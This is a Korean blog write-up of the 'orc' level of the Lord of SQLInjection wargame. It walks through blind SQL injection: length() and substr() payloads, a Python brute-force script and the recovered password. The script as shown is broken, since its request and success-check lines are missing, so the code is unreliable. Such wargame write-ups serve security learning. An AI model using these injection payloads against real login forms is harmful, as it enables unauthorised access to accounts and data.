문제다.
if(($result['pw']) && ($result['pw'] == $_GET['pw'])) solve("orc");
이번문제의 문제풀이 조건은 admin의 pw를 맞춰야 한다.
그 말은 Blind SQL Ingection을 해야 한다.
bsqli의 순서는
1. pw의 길이를 구한다.
2. pw의 각 자리를 파싱하여 brute force를 한다.
우선 pw의 길이를 구하는 쿼리문은
?pw=' or length(pw)=~~~%23 이다.
~~~에는 숫자를 brute force 해주면 된다.
length(pw)는 pw의 길이를 가져오는 함수다.
그렇게 손 브루트 포싱을 해서 pw의 길이가 8인 것을 알아냈다.
(python requests 모듈을 사용해서 프로그램으로 제작해도 된다.)
그 다음에는 substr()함수를 이용해서 pw의 각 자릿수를 파싱해와야 한다.
substr(문자열, 시작점, 길이)로 사용한다.
이를 이용해서 brute force를 한다.
이건 경우의 수가 너무 많아서 python으로 프로그램을 만들었다.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
|
import string
import requests
cookies={'PHPSESSID' : 'h3jgaqh3bt8brgd4pcifuc3plj'} # put your cookies
pw_len=8
arr = string.printable
arr = arr[:-38]
result = ''
for i in range(1, pw_len+1):
for a in arr:
param = "?pw=' or substr(pw, " + str(i) + ', 1)="' + str(a) + '"%23"'
new_url = url + param
print(str(i) + "st char is " + str(a))
result += a
break
else: pass
print('='*20)
print("result = " + result)
print('='*20)
|
프로그램을 작동시키면 아래의 사진처럼 결과가 출력된다.
이제 pw를 입력해주면 풀린다.
?pw=095a9852
'Write Up > los' 카테고리의 다른 글
los darkelf[6번] (0) | 2020.01.04 |
---|---|
los wolfman[5번] (0) | 2020.01.04 |
los goblin[3번] (0) | 2019.12.27 |
los cobolt[2번] (0) | 2019.12.27 |
los gremlin[1번] (0) | 2019.12.27 |